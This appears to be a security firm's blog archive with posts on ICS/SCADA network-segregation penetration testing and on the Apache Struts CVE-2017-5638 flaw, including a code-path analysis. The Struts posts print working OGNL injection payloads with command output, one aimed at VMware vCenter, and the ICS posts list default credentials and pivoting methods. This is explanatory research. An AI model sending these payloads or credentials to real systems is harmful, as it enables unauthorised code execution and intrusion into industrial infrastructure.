Search
Twitter
Thursday
May252017

ICS/SCADA Systems for Penetration Testers: A Typical Engagement

It’s no secret that the devices that comprise process control systems are generally vulnerable to attack. This point has been made through endless research and has even been the subject of countless talks and trainings. Unfortunately, the personnel responsible for securing these networks often face significant challenges, most notably the difficulty in ensuring that devices and systems are configured securely and regularly patched without interrupting the process. In addition to this, security personnel often struggle in vain to sell the idea of security to the people in charge of the process who sometimes view security as more of an unnecessary burden, especially at lower layers of the process control network. In response to this, most of the focus has been placed on network segregation and establishing secure enclaves for sensitive process control systems. In this way, more effort can be placed on securing the barriers between the corporate network and SCADA / process control networks and enforcing tight access controls. In turn, many of the process control system assessments we’ve worked on have been almost entirely focused on determining the adequacy of network segregation efforts.

In spite of the importance of properly implemented network segregation and the interest in segregation testing, there isn’t too much information out there on performing them. The content of this blog post will detail some of the common gaps in network segmentation that we’ve seen during previous assessments. Hopefully, this information will help penetration testers who are looking to get into process control system assessments as well as give process security personnel an idea what attackers are looking for when trying to gain access to lower layers of the process control network from the corporate network.

As a general rule, network segregation assessments are performed from the perspective of an attacker that has already managed to compromise the corporate network in order to mimic real-world attack scenarios. Typically, this means either providing domain administrator access or performing the segregation assessment in conjunction with a penetration test of the corporate network.

The network segregation testing process typically follows the procedure outlined below:

  • Information Gathering
  • Entry point Identification
  • Segregated Network Access

Information Gathering

The process of information gathering centers around identifying any unprotected process control network-related information on the corporate network. This information can reveal intricate details about the process control network that can help an attacker gain access. Typically, this includes the following:

  • Process-Related Personnel – Key people such as process engineers, operators, and process IT personnel are usually privy to a great deal of sensitive information related to the process control network. Searching Active Directory for employees that fall under the aforementioned roles can help to identify their workstation hostnames as well as any network shares they may have access to. This can help narrow down the information gathering process and reduce the overall amount of effort required to gain access to the process control network since focus can be placed on those hosts and shares.
  • Network Diagrams and Design Documentation – This information can help an attacker understand the process control network at a fundamental level and provide hostnames and IP addresses that can serve as the basis for further information gathering. Moreover, network documentation may give an attacker a clear picture of the process control network, aiding them in deciding on which hosts to attack. After identifying corporate network file servers and information repositories like SharePoint, network documentation can typically found by searching for VSD, PDF, and DOC / DOCX files in directories or shares related to process IT.
  • Process Control Network Documentation – This can include details on official remote access procedures, instructions on how to login to process-related hosts, and information on the technology in use (both operational and non-operational). In many cases, extremely sensitive information such as usernames and passwords are included in this documentation, making it invaluable on a segregation assessment. This documentation can also be found in process IT shares and directories as well as occasionally inside of process-related shares and directories.
  • Network Device and System Backups – Firewall, router, and switch configuration files that are backed up on the corporate network can often serve as a road map for identifying a path to gain access to the process control network. Reviewing network device configurations can reveal which hosts on the corporate network are permitted access through remote access protocols such as RDP, VNC, or SSH. If backups of systems on the process control network can be found on the corporate network, they can be easily analyzed to extract password hashes and other sensitive data. This information can often be retrieved from IT management or network backup software as well as corporate and process IT network shares.

Entry point Identification

One of the key pieces of information that should be obtained from the information gathering phase is the existence of any entry points into the process control network from the corporate network. Process control networks are rarely completely air gapped due to the fact that they may be located in remote or unfavorable working environments. As a result, remote access is a popular solution for managing devices and systems in the process control network. The following entry points can be found in most situations:

  • Jump Box / Terminal Server – Access to the process control network from the corporate network is often permitted through a host that serves as a jump box. Usually a remote access protocol such as RDP, VNC, or SSH is used, although desktop virtualization software such as Citrix is occasionally employed instead. More security-conscious organizations tend to use remote access solutions that support multi-factor authentication.
    Official procedures for remote access to the process control network can usually be found in documentation. Jump boxes or terminal services can also be identified from analyzing network diagrams or firewall configuration files for hosts that permit connections from the corporate network over typical remote access ports. Observation of process-related personnel’s corporate network workstations can oftentimes be an effective means of identifying the jump box and remote access protocol in use.
  • VPN Access – Select users, usually process-related personnel, can be granted VPN access directly into the process control network for remote management purposes. Similarly to remote access through jump boxes, multi-factor authentication may be employed to help thwart attacks against the process control network.
    These users can sometimes be identified by an AD group created specifically for VPN users. Looking at the names and descriptions of groups where key process-related personnel are members is usually an effective means of identifying the process VPN group. Workstations of users in the process VPN group should be investigated for VPN interfaces or software as well as active connections into the process control network. These workstations can effectively be used as a bridge into the process control network.
  • Dual-Homed Hosts – In a typical process control network, several hosts on the corporate network may configured to be either dual homed or with extensive firewall rules that permit access into the process control network. Historian servers often fall under this category, due to the need to use process data for performance monitoring and improvement purposes on the corporate network. Gaining access to these hosts can often provide direct access into the process control network without having to use official remote access procedures. Even if historians are not provided extensive access into the process control network, observing their active network connections can reveal target IP address ranges.

The most reliable way to identify historians is to analyze network documentation and diagrams. Barring this, it’s not uncommon to find them by analyzing server hostnames (“HI”, “HIS”, or “HIST” are pretty widely-used naming conventions, for example). They may also be found through port scanning, although this can be a difficult task given the fact that there is little port standardization between vendors. However, many organizations with process control networks use OSISoft PI servers as historians, which can sometimes be identified by scanning for ports that are commonly associated with the software (https://techsupport.osisoft.com/troubleshooting/kb/2820osi8). In general, if the process control system vendor is known or discovered through reconnaissance, publicly-available vendor documentation should be researched for commonly-used ports to scan for on the corporate network.

Another effective method of discovering dual-homed hosts is sweeping across the corporate network using some form of remote command execution, such as WMI or PSExec, and extracting active network connections, network interfaces, and routing tables. This data can then be searched for any hosts that appear to have access to the process control network. However, this method is noisy, time-consuming, and can produce an excessive amount of information to parse through, especially on larger networks. Additionally, the IP address ranges used by the target process control network would have to be known in order to make this technique more feasible.

Segregated Network Access

With a list of potential entry points into the process control network, the next step is to investigate each entry point to determine how it might be possible to leverage common security issues in order to gain access to the process control network. The following issues are typically observed when conducting process control network segmentation tests:

  • Insecure Password Practices – Passwords are a significant issue for personnel put in charge of managing the security of process control networks for multiple reasons. Most notably, it is difficult to encourage engineers and other users with access to the process control network to engage in secure password practices. Password reuse between the corporate network and process control network is extremely common since users are typically unwilling to manage multiple sets of credentials and feel that the risk of an attacker gaining access is small. After compromising the corporate network, the passwords for key process-related personnel should be cracked or obtained so they can be used for logon attempts on process control network entry points.

    Default or weak credentials are also very common. This is usually because these passwords are set by default as part of the vendor’s provided solution and never changed in order to avoid issues with deviating from the vendor’s default configuration. Oftentimes usernames and passwords will be the same (operator : operator, manager : manager, supervisor : supervisor are common examples) or some variation of the vendor’s name (Administrator : siemens as another example).

    To make matters worse, password lockout policies on operational technology is usually lax. The reasoning for this is to prevent accidental lockouts from causing issues with the process, which is generally a good idea. However, this provides attackers a lot of leeway for brute forcing credentials. This issue in combination with the prevalence of default, weak, or shared credentials makes password guessing attacks extremely viable for gaining access to the process control network.
  • Process Control Network Credentials Stored in Plaintext – Credentials for operational technology are often included in documentation. Any repositories for process control network documentation should have been enumerated as part of the information gathering phase of a segmentation assessment. Any documentation found in these repositories should be searched for passwords that can be used on entry-points.
  • Corporate Network Domain is Extended into Process Control Network – In cases where there are dual-homed hosts or workstations with VPN access on the corporate network, it is fairly common for these hosts to be joined to the corporate network’s Active Directory domain. Because of this, it is often possible to be able to access these hosts directly using highly-privileged Active Directory accounts from the corporate network such as Domain Administrators. More security-minded organizations may have taken the extra step of limiting access to these hosts to only specific users or groups. However, having compromised the corporate network, it is a relatively simple task to locate users of interest on the corporate network and extract their passwords from memory.
  • Exposed Vulnerable Services – Entry-points can often have additional services such as databases or web applications that can be vulnerable to common attacks. Any hosts with access to the process control network should be scanned thoroughly to identify exposed services. These services should then be probed to find new vulnerabilities or researched to find publicly-available vulnerabilities or common misconfigurations that could lead to compromising the host.

Easy Wins/Should Not Ever Happen

If you are ever conducting a pentest against ICS infrastructure, the following are findings that should immediately be written up as critical:

  • Modbus/DNP3 traffic on corporate network
  • HMIs accessible from the corporate network as not read-only
  • NMAPing a nuclear reactor causes a meltdown.

Hopefully, that last scenario NEVER happens, but if it does, write it up and move on.

Conclusion

Despite the fact that the world around us depends upon ICS technologies, interacting with and securing them still has a large gap in knowledge for both the public and the information security community.  It is our hope that these blog posts have proved insightful and can help move the conversation forward.

Wednesday
May172017

Introduction to Attacking ICS/SCADA Systems for Penetration Testers

Since coming into use in the late 1960s, Industrial Control Systems (ICSs) have become prevalent throughout all areas of industry and modern life. Whether in utilities, energy, manufacturing or a myriad of other applications, industrial control systems govern much of our lives.

From the invention of the Modular Digital Controller in 1968 until the mid-1990s, ICS networks were almost always isolated, operating with very limited input or output from outside sources. With the rise of cheap hardware, Microsoft Windows, Active Directory and standardization, corporate networks now receive and process data as well as fine-tune operations from networks outside of the traditional ICS network. While significant effort to ensure segmentation between IT (information technology) and OT (operational technology) networks in modern environments is occurring, the blurring of the lines between IT and OT networks has resulted in a security headache for many industries.

ICS vs. SCADA

While the terms Industrial Control Systems and Supervisory Control And Data Acquisition (SCADA) are often used interchangeably, an important distinction between the two exists. ICS is the name given to the broader category of technology, where SCADA is a subcategory of ICS.  Examples of ICS subcategories include:

Distributed Control Systems (DCS)

  • Offers real-time monitoring and control over processes.
  • Typically several components are located within a geographically small distance such as an oil refinery, coal plant, hydroelectric dam, etc. DCS are usually contained within the four walls of a building.

Programmable Logic Controllers (PLC)

  • Typically, ruggedized computers that are the brains of smaller moving parts in a given process control system.

Supervisory Control And Data Acquisition (SCADA)

  • Acts as a manager of sorts.
  • Supervisory servers do not typically make decisions.
  • Supervisory servers typically relay commands from other systems or human operators.

Historians

  • Collect and store data regarding process statistics, sensor readings, inputs/outputs and other measures.
  • May be required for regulatory purposes.
  • Typically data is stored in a database such as MSSQL or Oracle.

Human Machine Interface (HMI)

  • HMIs are ‘pretty pictures’ allowing a process engineer to monitor an entire ICS system, at a glance.
  • Usually features graphics of various pumps, relays and data flows.

Remote Terminal Unit (RTU)

  • Small, ruggedized computers that collect and correlate data between physical sensors and ICS processes.

Adding additional complexity to ICS environments are the many different communications protocols in use. Examples of both common and proprietary protocols implemented in ICS environments include:

  • ANSI X3.28
  • BBC 7200
  • CDC Types 1 and 2
  • Conitel 2020/2000/3000
  • DCP 1
  • DNP3
  • Gedac 7020
  • ICCP Landis & Gyr 8979
  • Modbus
  • OPC
  • ControlNet
  • DeviceNet
  • DH+
  • ProfiBus
  • Tejas 3 and 5
  • TRW 9550

Typical ICS architecture

When designing ICS environments, high availability, regulatory requirements and patching challenges can significantly constrain design choices. In order to fit into the necessary restrictions, most ICS environments tend to follow the following three tiered structure:

 

At the uppermost level, the HMIs and SCADA servers oversee and direct the lower levels, either based upon a set of inputs or a human operator. Typically data from the SCADA servers is gathered by the HMI, then displayed to engineering workstations for ICS engineers’ consumption.

 

The middle layer typically collects and processes from inputs and outputs between layers. The devices performing at this layer, known as Field Controllers, include programmable logic controllers (PLCs), intelligence electronic devices (IEDs) and remote terminal units (RTUs). Field Controllers can coordinate lower level actions based upon upper level directions, or send process data and statistics about the lower level to the upper level.

 

At the lowest level, devices known as Field Devices are responsible for the moving parts and sensors directing the movement of pumps, robotic arms and other process-related machinery. Additionally, they typically include various sensors to monitor processes and pass data along to the middle layer (i.e. Field Controllers) for data processing.

Communication links between the layers are often required in ICS environments and this communication typically utilizes different protocols. Communication between the SCADA server located in the upper layer and Field Controllers in the middle layer typically utilize common protocols such as DNP3 or Modbus. For communication between Field Controllers and lower level Field Devices, commonly used protocols include HART, Foundation Fieldbus and ProfiBus.

Although designing networks that meet the ICS requirements can be challenging, organizations with ICS typically achieve this by having three zones in their infrastructure:

Enterprise Zones contain the typical corporate enterprise network. In this network are standard corporate services such as email, file/print, web, ERP, etc. In this zone all of the business servers and employee workstations reside.

The ICS demilitarized zones (DMZs) typically allow indirect access to data generated by the ICS system. In this zone there are typically the secondary Historian, as well as some web and terminal applications.

Finally, the Process Control Zones are where the three layers of ICS systems reside. This zone should be inaccessible from the Enterprise Zone and limited to read-only access from the HMIs and SCADA servers.

ICS and Risk

ICS technology was originally designed without consideration of authentication, encryption, anti-malware tools, firewalls or other defense mechanisms. The lack of such considerations influences how these systems are designed and operated. For example, one of the traditional IT risk mitigation strategies is the timely application of security patches to vulnerable systems. While traditional IT systems can absorb downtime, most ICS systems incur significant costs in loss of production preventing them from being patched on a routine basis. Additionally, unlike traditional IT systems, a failed update on an ICS device could have catastrophic consequences such as contaminated food, blackouts, severe injury, or death.

While a determined attacker may gain direct access to the ICS environment via social engineering or physical attacks, it’s more likely they will pivot from the corporate network leveraging trusted network connections to SCADA servers and HMIs. Even if the attacker doesn’t manage to exfiltrate sensitive data or perform sensitive actions, the fines, investigations and regulatory reprisals generated with a breach to the ICS environment could prove financially catastrophic for organizations. The following are real-world ICS incidents and attacks:

Although attacks like STUXNET may seem like an easy way to cause mayhem and destruction, several special considerations should be taken into account when attacking ICS:

  • If an attacker can intercept and modify data between Field Devices and Field Controllers, it is possible to feed false data back to HMIs. The HMI will present inaccurate data causing the human operators to make potentially dangerous changes based on this inaccurate data. Proof of a successful man-in-the-middle attack that alters data like this will likely top the list of critical findings.
  • Many Field Controllers require no authentication, allowing commands to be issued by any system on the network. Leveraging tools such as Scapy, Modbus or DNP3 packets can be crafted with ease.
  • IT knowledge, when combined with process knowledge, can be leveraged to cause specific kinetic impacts through cyber means; that is the key to the ‘big boom’ Hollywood scenarios. A Proof of Concept attack demonstrating an attack like this will make for a 5-star report.

In our next blog post we’ll walk through a typical ICS/SCADA security assessment, including a description of each of the major phases, what to look out for, and common issues and misconfigurations we’ve seen in the field.

Thursday
Apr132017

VMware vCenter Unauthenticated RCE using CVE-2017-5638 (Apache Struts 2 RCE)

Following up on the previous post analysing CVE-2017-5638, we would like to present a working Proof of Concept for Remote Code Execution (RCE) in VMware vCenter exploiting this vulnerability. While understandably a lot of the focus after the public disclosure has been on identifying and patching Internet exposed systems, it is also important to address systems exposed to business partners and internal users. We are publishing the information below to demonstrate the importance of patching internal systems, as they are often overlooked and can pose significant risk.

A few days after CVE-2017-5638 was publically disclosed VMware published an advisory that some of their products were affected, including VMware vCenter. However, the advisory does not contain any further details. VMware vCenter is the primary solution for managing ESXi virtualisation. One of the administration interfaces is an HTTP-based GUI panel. If you intercept vCenter HTTP traffic, you will realise that this is pure BlazeDS format (Adobe proprietary). An example request is shown below.

The main challenge in this case was to identify what part of the application is using Apache Struts 2 and if this is directly accessible to end users. After spending some time searching through the vCenter server, it was noticed that a Struts 2 library is stored in one of the directories responsible for the reporting engine, perfcharts. The file path is /usr/lib/vmware-perfcharts/instance/webapps/statsreport/.

The reporting engine is hosted on an Apache Tomcat server and by searching through Tomcat configuration files, it was discovered that requests to /StatsChartServlet are routed to the engine.

<servlet-mapping>
      <servlet-name>StatsChartServlet</servlet-name>
      <url-pattern>/StatsChartServlet</url-pattern>
</servlet-mapping>

However, this does not simply produce a valid URL. Looking for URLs containing “StatsChartServlet” we were able to find following request. In this instance we used a Burp Proxy log but other proxy or access logs would also contain the full URL if the relevant functionality has been accessed.

So it appears that the prefcharts reporting engine is accessible via the following URL:

https://<ip-address>/statsreport

Sending any malicious payload appropriate for the CVE-2017-5638 vulnerability to that endpoint:

GET /statsreport/ HTTP/1.1
Host: vcenter:443
Content-Type: %{(#_='multipart/form-data').([email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}
Connection: close
Content-Length: 0

results in execution of a command (in this instance /usr/bin/id):

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Date: Thu, 16 Mar 2017 14:33:51 GMT
Connection: close
Content-Length: 86

uid=1011(perfcharts) gid=100(users) groups=100(users),16(dialout),33(video),1004(cis)

Affected VMware vCenter versions are 6.0 U2a and below, and 6.5.0b and below. Security patches for both branches are available on the vendor’s website.

Monday
Mar272017

An Analysis of CVE-2017-5638

At GDS, we’ve had a busy few weeks helping our clients manage the risk associated with CVE-2017-5638 (S2-045), a recently published Apache Struts server-side template injection vulnerability. As we began this work, I found myself curious about the conditions that lead to this vulnerability in the Struts library code. We often hear about the exploitation of these types of vulnerabilities, but less about the vulnerable code that leads to them. This post is the culmination of research I have done into this very topic. What I present here is a detailed code analysis of the vulnerability, as well as payloads seen in the wild and a discussion on why some work while others don’t. I also present a working payload for S2-046, an alternate exploit vector that is capable of bypassing web application firewall rules that only examine request content types. I conclude with a couple of takeaways I had from this research.

For those unfamiliar with the concept of SSTI (server-side template injection), it’s a classic example of an injection attack. A template engine parses what is intended to be template code, but somewhere along the way ends up parsing user input. The result is typically code execution in whatever form the template engine allows. For many popular template engines, such as Freemarker, Smarty, Velocity, Jade, and others, remote code execution outside of the engine is often possible (i.e. spawning a system shell). For cases like Struts, simple templating functionality is provided using an expression language such as Object-Graph Navigation Language (OGNL). As is the case for OGNL, it is often possible to obtain remote code execution outside of an expression engine as well. Many of these libraries do offer mechanisms to help mitigate remote code execution, such as sandboxing, but they tend to be disabled by default or trivial to bypass.

From a code perspective, the simplest condition for SSTI to exist in an application is to have user input passed into a function that parses template code. Losing track of what functions handle values tainted with user input is an easy way to accidentally introduce all kinds of injection vulnerabilities into an application. To uncover a vulnerability like this, the call stack and any tainted data flow must be carefully traced and analyzed.

This was the case to fully understand how CVE-2017-5638 works. The official CVE description reads:

The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March 2017.

This left me with the impression that the vulnerable code existed in the Jakarta Multipart parser and that it was triggered by a “#cmd=” string in the Content-Type HTTP header. Using Struts 2.5.10 as an example, we’ll soon learn that the issue is far more nuanced than that. To truly grasp how the vulnerability works, I needed to do a full analysis of relevant code in the library.

Beginning With A Tainted Exception Message

An exception thrown, caught, and logged when this vulnerability is exploited reveals a lot about how this vulnerability works. As we can see in the following reproduction, which results in remote code execution, an exception is thrown and logged in the parseRequest method in the Apache commons upload library. This is because the content-type of the request didn’t match an expected valid string. We also notice that the exception message thrown by this library includes the invalid content-type header supplied in the HTTP request. This in effect taints the exception message with user input.

Reproduction Request:
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: ${(#_='multipart/form-data').([email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 0
Reproduction Response:
HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=16cuhw2qmanji1axbayhcp10kn;Path=/struts2-showcase
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Server: Jetty(8.1.16.v20140903)
Content-Length: 11

testwebuser
Logged Exception:
2017-03-24 13:44:39,625 WARN  [qtp373485230-21] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:69) - Request exceeded size limit!
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is ${(#_='multipart/form-data').([email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}
	at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.(FileUploadBase.java:948) ~[commons-fileupload-1.3.2.jar:1.3.2]
	at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:310) ~[commons-fileupload-1.3.2.jar:1.3.2]
	at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:334) ~[commons-fileupload-1.3.2.jar:1.3.2]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:147) ~[struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:91) ~[struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:67) [struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.(MultiPartRequestWrapper.java:86) [struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:806) [struts2-core-2.5.10.jar:2.5.10]
[..snip..]

The caller responsible for invoking the parseRequest method that generates the exception is in a class named JakartaMultiPartRequest. This class acts as a wrapper around the Apache commons fileupload library, defining a method named processUpload that calls its own version of the parseRequest method on line 91. This method creates a new ServletFileUpload object on line 151 and calls its parseRequest method on line 147.

core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java:
90:     protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException {
91:         for (FileItem item : parseRequest(request, saveDir)) {
92:             LOG.debug("Found file item: [{}]", item.getFieldName());
93:             if (item.isFormField()) {
94:                 processNormalFormField(item, request.getCharacterEncoding());
95:             } else {
96:                 processFileField(item);
97:             }
98:         }
99:     }
[..snip..]
144:     protected List<FileItem> parseRequest(HttpServletRequest servletRequest, String saveDir) throws FileUploadException {
145:         DiskFileItemFactory fac = createDiskFileItemFactory(saveDir);
146:         ServletFileUpload upload = createServletFileUpload(fac);
147:         return upload.parseRequest(createRequestContext(servletRequest));
148:     }
149: 
150:     protected ServletFileUpload createServletFileUpload(DiskFileItemFactory fac) {
151:         ServletFileUpload upload = new ServletFileUpload(fac);
152:         upload.setSizeMax(maxSize);
153:         return upload;
154:     }

Looking at the stacktrace, we can see that the processUpload method is called by JakartaMultiPartRequest’s parse method on line 67. Any thrown exceptions from calling this method are caught on line 68 and passed to the method buildErrorMessage. Several paths exist for calling this method depending on the class of the exception thrown, but the result is always that this method is called. In this case the buildErrorMessage method is called on line 75.

core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java:
64:     public void parse(HttpServletRequest request, String saveDir) throws IOException {
65:         try {
66:             setLocale(request);
67:             processUpload(request, saveDir);
68:         } catch (FileUploadException e) {
69:             LOG.warn("Request exceeded size limit!", e);
70:             LocalizedMessage errorMessage;
71:             if(e instanceof FileUploadBase.SizeLimitExceededException) {
72:                 FileUploadBase.SizeLimitExceededException ex = (FileUploadBase.SizeLimitExceededException) e;
73:                 errorMessage = buildErrorMessage(e, new Object[]{ex.getPermittedSize(), ex.getActualSize()});
74:             } else {
75:                 errorMessage = buildErrorMessage(e, new Object[]{});
76:             }
77:
78:             if (!errors.contains(errorMessage)) {
79:             	errors.add(errorMessage);
80:             }
81:         } catch (Exception e) {
82:             LOG.warn("Unable to parse request", e);
83:             LocalizedMessage errorMessage = buildErrorMessage(e, new Object[]{});
84:             if (!errors.contains(errorMessage)) {
85:                 errors.add(errorMessage);
86:             }
87:         }
88:     }

Since the JakartaMultiPartRequest class doesn’t define the buildErrorMessage method, we look to the class that it extends which does: AbstractMultiPartRequest.

core/src/main/java/org/apache/struts2/dispatcher/multipart/AbstractMultiPartRequest.java:
98:      protected LocalizedMessage buildErrorMessage(Throwable e, Object[] args) {
99:      	String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
100:     	LOG.debug("Preparing error message for key: [{}]", errorKey);
101:  
102:     	return new LocalizedMessage(this.getClass(), errorKey, e.getMessage(), args);
103:     }

The LocalizedMessage that it returns defines a simple container-like object. The important details here are:

  • The instance’s textKey is set to a struts.messages.upload.error.InvalidContentTypeException.
  • The instance’s defaultMessage is set to the exception message tainted with user input.

Next in the stacktrace, we can see that JakartaMultiPartRequest’s parse method is invoked in MultiPartRequestWrapper’s constructor method on line 86. The addError method called on line 88 checks to see if the error has already been seen, and if not it adds it to an instance variable that holds a collection of LocalizedMessage objects.

core/src/main/java/org/apache/struts2/dispatcher/multipart/MultiPartRequestWrapper.java:
77:     public MultiPartRequestWrapper(MultiPartRequest multiPartRequest, HttpServletRequest request,
78:                                    String saveDir, LocaleProvider provider,
79:                                    boolean disableRequestAttributeValueStackLookup) {
80:         super(request, disableRequestAttributeValueStackLookup);
[..snip..]
85:         try {
86:             multi.parse(request, saveDir);
87:             for (LocalizedMessage error : multi.getErrors()) {
88:                 addError(error);
89:             }

On the next line of our stacktrace, we see that the Dispatcher class is responsible for instantiating a new MultiPartRequestWrapper object and calling the constructor method above. The method called here is named wrapRequest and is responsible for detecting if the request’s content type contains the substring “multipart/form-data” on line 801. If it does, a new MultiPartRequestWrapper is created on line 804 and returned.

core/src/main/java/org/apache/struts2/dispatcher/Dispatcher.java:
794:     public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {
795:         // don't wrap more than once
796:         if (request instanceof StrutsRequestWrapper) {
797:             return request;
798:         }
799:
800:         String content_type = request.getContentType();
801:         if (content_type != null && content_type.contains("multipart/form-data")) {
802:             MultiPartRequest mpr = getMultiPartRequest();
803:             LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
804:             request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);
805:         } else {
806:             request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
807:         }
808:
809:         return request;
810:     }

At this point in our analysis, our HTTP request has been parsed and our wrapped request object (MultiPartRequestWrapper) holds an error (LocalizedMessage) with our tainted default message and a textKey set to struts.messages.upload.error.InvalidContentTypeException.

Calling Struts’ File Upload Interceptor

The rest of the stacktrace doesn’t provide anything terribly useful to us to continue tracing data flow. However, we have a clue for where to look next. Struts processes requests through a series of interceptors. As it turns out, an interceptor named FileUploadInterceptor is part of the default “stack” that Struts is configured to use.

As we can see on line 242, the interceptor checks to see if our request object is an instance of the class MultiPartRequestWrapper. We know that it is because the Dispatcher previously returned an instance of this class. The interceptor continues to check if the MultiPartRequestWrapper object has any errors on line 261, which we already know it does. It then calls LocalizedTextUtil’s findText method on line 264, passing in several arguments such as the error’s textKey and our tainted defaultMessage.

core/src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java:
237:     public String intercept(ActionInvocation invocation) throws Exception {
238:         ActionContext ac = invocation.getInvocationContext();
239:
240:         HttpServletRequest request = (HttpServletRequest) ac.get(ServletActionContext.HTTP_REQUEST);
241:
242:         if (!(request instanceof MultiPartRequestWrapper)) {
243:             if (LOG.isDebugEnabled()) {
244:                 ActionProxy proxy = invocation.getProxy();
245:                 LOG.debug(getTextMessage("struts.messages.bypass.request", new String[]{proxy.getNamespace(), proxy.getActionName()}));
246:             }
247:
248:             return invocation.invoke();
249:         }
250:
[..snip..]
259:         MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;
260:
261:         if (multiWrapper.hasErrors()) {
262:             for (LocalizedMessage error : multiWrapper.getErrors()) {
263:                 if (validation != null) {
264:                     validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));
265:                 }
266:             }
267:         }

Following Localized Text

This is where things start to get interesting. A version of the LocalizedTextUtil’s method findText is called that tries to find an error message to return based on several factors. I have omitted the large method definition because the comment below accurately describes it. The findText method call is invoked where:

  • aClassName is set to AbstractMultiPartRequest.
  • aTextName is set to the error’s textKey, which is struts.messages.upload.error.InvalidContentTypeException.
  • Locale is set to the ActionContext’s locale.
  • defaultMessage is our tainted exception message as a string.
  • Args is an empty array.
  • valueStack is set to the ActionContext’s valueStack.
397:     /**
398:      * <p>
399:      * Finds a localized text message for the given key, aTextName. Both the key and the message
400:      * itself is evaluated as required.  The following algorithm is used to find the requested
401:      * message:
402:      * </p>
403:      *
404:      * <ol>
405:      * <li>Look for message in aClass' class hierarchy.
406:      * <ol>
407:      * <li>Look for the message in a resource bundle for aClass</li>
408:      * <li>If not found, look for the message in a resource bundle for any implemented interface</li>
409:      * <li>If not found, traverse up the Class' hierarchy and repeat from the first sub-step</li>
410:      * </ol></li>
411:      * <li>If not found and aClass is a [email protected] ModelDriven} Action, then look for message in
412:      * the model's class hierarchy (repeat sub-steps listed above).</li>
413:      * <li>If not found, look for message in child property.  This is determined by evaluating
414:      * the message key as an OGNL expression.  For example, if the key is
415:      * <i>user.address.state</i>, then it will attempt to see if "user" can be resolved into an
416:      * object.  If so, repeat the entire process fromthe beginning with the object's class as
417:      * aClass and "address.state" as the message key.</li>
